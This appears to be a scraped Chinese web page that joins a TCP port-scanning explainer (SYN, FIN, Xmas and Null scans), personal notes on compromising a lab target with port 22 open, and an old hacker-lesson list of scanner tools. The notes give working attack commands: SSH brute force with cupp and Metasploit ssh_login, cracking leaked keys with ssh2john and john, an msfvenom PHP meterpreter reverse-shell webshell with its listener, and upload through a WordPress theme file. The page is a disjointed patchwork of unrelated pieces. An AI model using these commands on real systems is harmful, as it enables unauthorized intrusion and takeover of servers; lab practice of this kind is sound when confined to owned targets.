端口扫描器课程设计_22端口扫描器

hacker|
264

什么是端口扫描器?它有什么作用?

端口扫描器是查看电脑是否有什麽漏洞,如果电脑有漏洞就容易让黑客入侵,就是这样

端口扫描器的作用

端口扫描器主要用于侦测计算的所对外开放的通讯端口数量,端口号等数据,是黑客的常用工具

端口扫描器SATAN

一:TCP/IP相关问题

连接端及标记

IP地址和端口被称作套接字,它代表一个TCP连接的一个连接端。为了获得TCP服务,必须在发送机的一个端口上和接收机的一个端口上建立连接。TCP连接用两个连接端来区别,也就是(连接端1,连接端2)。连接端互相发送数据包。

一个TCP数据包包括一个TCP头,后面是选项和数据。一个TCP头包含6个标志位。它们的意义分别为:

SYN: 标志位用来建立连接,让连接双方同步序列号。如果SYN=1而ACK=0,则表示该数据包为连接请求,如果SYN=1而ACK=1则表示接受连接。

FIN: 表示发送端已经没有数据要求传输了,希望释放连接。

RST: 用来复位一个连接。RST标志置位的数据包称为复位包。一般情况下,如果TCP收到的一个分段明显不是属于该主机上的任何一个连接,则向远端发送一个复位包。

URG: 为紧急数据标志。如果它为1,表示本数据包中包含紧急数据。此时紧急数据指针有效。

ACK: 为确认标志位。如果为1,表示包中的确认号时有效的。否则,包中的确认号无效。

PSH: 如果置位,接收端应尽快把数据传送给应用层。

TCP连接的建立

TCP是一个面向连接的可靠传输协议。面向连接表示两个应用端在利用TCP传送数据前必须先建立TCP连接。 TCP的可靠性通过校验和,定时器,数据序号和应答来提供。通过给每个发送的字节分配一个序号,接收端接收到数据后发送应答,TCP协议保证了数据的可靠传输。数据序号用来保证数据的顺序,剔除重复的数据。在一个TCP会话中,有两个数据流(每个连接端从另外一端接收数据,同时向对方发送数据),因此在建立连接时,必须要为每一个数据流分配ISN(初始序号)。为了了解实现过程,我们假设客户端C希望跟服务器端S建立连接,然后分析连接建立的过程(通常称作三阶段握手):

1: C --SYN XXà S

2: C ?-SYN YY/ACK XX+1------- S

3: C ----ACK YY+1--à S

1:C发送一个TCP包(SYN 请求)给S,其中标记SYN(同步序号)要打开。SYN请求指明了客户端希望连接的服务器端端口号和客户端的ISN(XX是一个例子)。

2:服务器端发回应答,包含自己的SYN信息ISN(YY)和对C的SYN应答,应答时返回下一个希望得到的字节序号(YY+1)。

3:C 对从S 来的SYN进行应答,数据发送开始。

一些实现细节

大部分TCP/IP实现遵循以下原则:

1:当一个SYN或者FIN数据包到达一个关闭的端口,TCP丢弃数据包同时发送一个RST数据包。

2:当一个RST数据包到达一个监听端口,RST被丢弃。

3:当一个RST数据包到达一个关闭的端口,RST被丢弃。

4:当一个包含ACK的数据包到达一个监听端口时,数据包被丢弃,同时发送一个RST数据包。

5:当一个SYN位关闭的数据包到达一个监听端口时,数据包被丢弃。

6:当一个SYN数据包到达一个监听端口时,正常的三阶段握手继续,回答一个SYN ACK数据包。

7:当一个FIN数据包到达一个监听端口时,数据包被丢弃。"FIN行为"(关闭得端口返回RST,监听端口丢弃包),在URG和PSH标志位置位时同样要发生。所有的URG,PSH和FIN,或者没有任何标记的TCP数据包都会引起"FIN行为"。

二:全TCP连接和SYN扫描器

全TCP连接

全TCP连接是长期以来TCP端口扫描的基础。扫描主机尝试(使用三次握手)与目的机指定端口建立建立正规的连接。连接由系统调用connect()开始。对于每一个监听端口,connect()会获得成功,否则返回-1,表示端口不可访问。由于通常情况下,这不需要什么特权,所以几乎所有的用户(包括多用户环境下)都可以通过connect来实现这个技术。

这种扫描方法很容易检测出来(在日志文件中会有大量密集的连接和错误记录)。Courtney,Gabriel和TCP Wrapper监测程序通常用来进行监测。另外,TCP Wrapper可以对连接请求进行控制,所以它可以用来阻止来自不明主机的全连接扫描。

TCP SYN扫描

在这种技术中,扫描主机向目标主机的选择端口发送SYN数据段。如果应答是RST,那么说明端口是关闭的,按照设定就探听其它端口;如果应答中包含SYN和ACK,说明目标端口处于监听状态。由于所有的扫描主机都需要知道这个信息,传送一个RST给目标机从而停止建立连接。由于在SYN扫描时,全连接尚未建立,所以这种技术通常被称为半打开扫描。SYN扫描的优点在于即使日志中对扫描有所记录,但是尝试进行连接的记录也要比全扫描少得多。缺点是在大部分操作系统下,发送主机需要构造适用于这种扫描的IP包,通常情况下,构造SYN数据包需要超级用户或者授权用户访问专门的系统调用。

三:秘密扫描与间接扫描

秘密扫描技术

由于这种技术不包含标准的TCP三次握手协议的任何部分,所以无法被记录下来,从而不比SYN扫描隐蔽得多。另外,FIN数据包能够通过只监测SYN包的包过滤器。

秘密扫描技术使用FIN数据包来探听端口。当一个FIN数据包到达一个关闭的端口,数据包会被丢掉,并且回返回一个RST数据包。否则,当一个FIN数据包到达一个打开的端口,数据包只是简单的丢掉(不返回RST)。

Xmas和Null扫描是秘密扫描的两个变种。Xmas扫描打开FIN,URG和PUSH标记,而Null扫描关闭所有标记。这些组合的目的是为了通过所谓的FIN标记监测器的过滤。

秘密扫描通常适用于UNIX目标主机,除过少量的应当丢弃数据包却发送reset信号的操作系统(包括CISCO,BSDI,HP/UX,MVS和IRIX)。在Windows95/NT环境下,该方法无效,因为不论目标端口是否打开,操作系统都发送RST。

跟SYN扫描类似,秘密扫描也需要自己构造IP 包。

间接扫描

间接扫描的思想是利用第三方的IP(欺骗主机)来隐藏真正扫描者的IP。由于扫描主机会对欺骗主机发送回应信息,所以必须监控欺骗主机的IP行为,从而获得原始扫描的结果。间接扫描的工作过程如下:

假定参与扫描过程的主机为扫描机,隐藏机,目标机。扫描机和目标记的角色非常明显。隐藏机是一个非常特殊的角色,在扫描机扫描目的机的时候,它不能发送任何数据包(除了与扫描有关的包)。

入侵开放22端口的靶机

本人笔记,仅供参考

相关靶机:

链接:

提取码:qd32

渗透分析:

对于开启ssh服务的22端口的靶场优先考虑

1.暴力破解

2.私钥泄露

对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)

1.通过浏览器访问对应靶场http服务如地址:端口号

2.使用探测工具对http的目录进行探测,如dirb 地址:端口号

挖掘敏感信息:

使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;

尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);

对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;

-- nikto -host靶场IP地址

特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;

登录服务器之后,我们需要做以下操作。

1、查看当前用户whoami .

2、id 查看当前用户的权限

3、查看根目录寻找flag文件

如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一

般情况下,flag文件只属于root用户和对应的用户组:

cat /etc/passwd查看所有用户的列装

cat /etc/group查看用户组

find / -user用户名查看属于某些用户的文件

/tmp查看缓冲文件目录

深入挖掘

通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务

cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。

如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

万不得已的时候只能对ssh服务进行暴力破解。破解最后一个

用户名。破解工具如hydra、medusa等;

利用cupp创建字典

git clone 

chmod +x cupp.py

./cupp.py -i以交互的方式创建字典

输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成

之后推荐用metasploit破解ssh

在终端中输入

msfconsole

msf  use auxiliary/scaner/ssh/ssh_ login(使用该模块)

set rhosts  192.168.56.103(确定ip地址)

set username 用户名(破解的用户名)

set pass_ file 用户名.txt(刚刚创建的字典)

set threads  5(输入线程)

Run(进攻)

此时破解出密码例如123

直接连接,如果出现问题可以重启msfconsole,启用该模块后

set rhosts 192.168.56.103             (连接远程主机)

set username hadi(用户名)

Set password 123(密码)

Run

界面简陋就使用python优化界面

Python -c “import pty;pty.spawn(‘/bin/bash’)”(优化界面)

此时可以把自己权限提升到root:

su - root

回到根目录ls打开flag文件

Ssh秘钥泄露

解密Ssh秘钥信息(以秘钥名id_isa举例)

Chmod  600 id_isa(赋予is_isa可读可写权限)

ssh2john id_isa  isacrack       (就是用ssh2john把秘钥里的东西转换成john可识别的)

Zcat  /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)

制作webshell

msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw  /root/Desktop/shell.php

启动监听

msf  use exploit/multi/handler

msf exploit(handler)  set payload php/meterpreter/reverse_tcp

Weoshell

msf exploit(handler)  set Ihost攻击机IP地址

msf exploit(handler)  set lport 4444

msf exploit(handler) run

上传Webshell

使用找到的敏感信息登录系统后台,上传webshell。 执行

webshel(访问具有webshell的php页面)

获得反弹的shell

--

wordpress.上传点theme 404.php

执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php

什么是端口扫描器 有什么作用呢

一种软件

端口扫描器主要用于侦测计算的所对外开放的通讯端口数量,端口号等数据,是黑客的常用工具

端口扫描器的用法?

扫描器使用方法大家好很高兴你能进如我们的第四课!由先在起所有的课将由我来主讲,由于课程涉及 的是网络最高安全问题,所以我不得不警告各位,你要清楚的认识到你在干什么,其实 第四课的内容我们换了又换,有很多是一些攻击性很强的,我不得不CUT,所以次文才迟 迟出来!!同时我也希望进入这一课时的学友能多多的帮助其它人! 在INTERNET安全领域,扫描器可以说是黑客的基本武器, 一个好的TCP端口扫描器相当与几百个合法用户的口令及 密码是等同的,这样说一点也不过分! 1,什么是扫描器 扫描器是一种自动检测远程或本地主机安全性弱点的程序, 通过使用扫描器你可一不留痕迹的发现远程服务器的各种TCP 端口的分配及提供的服务!和它们的软件版本!这就能让我们 间接的或直观的了解到远程主机所存在的安全问题。 2,工作原理 扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标 给予的回答,通过这种方法,可以搜集到很多关于目标主机的 各种有用的信息(比如:是否能用匿名登陆!是否有可写的FTP 目录,是否能用TELNET,HTTPD是用ROOT还是nobady在跑!) 3,扫描器的运行平台! 尽管大多数的工作站是用UNIX的,由于UNIX的应用软件的可移殖 性,如今的扫描器以有了支持各种平台,这一点大大方便了许多 单机的用户!但同时也带来了更多的网络安全问题,这句老话我想 大家一定是听到过很多次!------网络安全刻不容缓!!! 4,扫描器能干什么? 扫描器并不是一个直接的攻击网络漏洞的程序,它不同于第二课中 的许多NUCK程序!它仅仅能帮助我们发现目标机的某些内在的弱点 而这些现存的弱点可能是(请看清楚可能是,并非一定)破坏目标 机安全关键,但是我想说明的是对于一个刚刚入们的黑客人来说 这些数据对他来说无疑是一个毫无价值的数据集合!,而对一个 掌握和精通各种网络应用程序的漏洞的黑客来说这就不仅仅是一个简单 的数据集合!他的价值远超过几百个有用的帐号!-------知识需要 积累!!! 5,种类 1。NNS(网络安全扫描器) 用PERL编写,工作在Sunos4.1.3 进行下面的常规的扫描 Sendmail ,TFTP,匿名FTP,Hosts.equive,Xhost 增强扫描 Apple Talk, Novell LAN管理员网络 取得指定域的列表或报告! 用PING命令确定指定主机是否是活性的, 扫描目标机端口 报告指定地址的漏洞 你可以到这个地址下载 2.STROBE(超级优化TCP端口检测程序) 它是一个TCP端口的扫描器,能快速的识别指定机器上正运行 什么服务, 用于扫描网络漏洞 SATAN(安全管理员的网络分析工具) 扫描远程主机的许多已知的漏洞 FTPD中可写的目录 NFS NIS PSH SENDMAIL X服务 Jakal(秘密扫描器) 可以不留痕迹的扫描 IdenTCPscan CONNECT 扫描TFTP服务器子网 ESPScan 扫描FSP服务器 XSCAN 实例扫描 或用关键字搜寻!你能了解到更多的情况! 1,UNIX平台的SAFEsuite safesuite的组成,INTERNET,WEB,防火墙扫描! safesuite的攻击,sendmail,FTP,NNTP,TELNET,RPC,NFS. ISS的开发小组在最新的版本里还增设了IP欺骗和拒绝服务的攻击,用以支持对主机安全 性的分析。 可以运行的平台:Sun OS 4.1.3 up,SoLaris 2.0 up,HP/UX9.05 up,IBM AIIX 3.2.5 u p Linux 1.2.x,Linux1.3.x,Linux 1.3.76+ 安装: 解压后拷贝到指定的目录,你可用下面的命令来解! tar -xvf ISS_XXX.tar 运行ISS.install开始安装! 由于扫描的结果太长我就不一一写出来了!!大家可以多试试!很多有用的安全信息都 在这些扫描结果里!!通过MIT的X窗口系统标准配置运行如SAVEsuite,X窗口的管理程 序是FVWM。 Network Toolbox 用于WINDOWS 95上的TCP/IP的应用程序, 默认扫描端口是!14个TCP/IP端口, port 9,13,21,25,,37,79,80,110,111,512,513,514, 你可以通过设置属性来改变默认的配置!! 我不知道我上述的下载地址是否还有效!但我想你可一到一些国外著名的黑客站找到你 想要的一切!! 课后作业,请把你扫描的信息告诉我们,我们将在下一课拿出一些信息来加以分析,安 全漏洞出在哪里!并对各种可能发生的漏洞加以分析!!

0条大神的评论

发表评论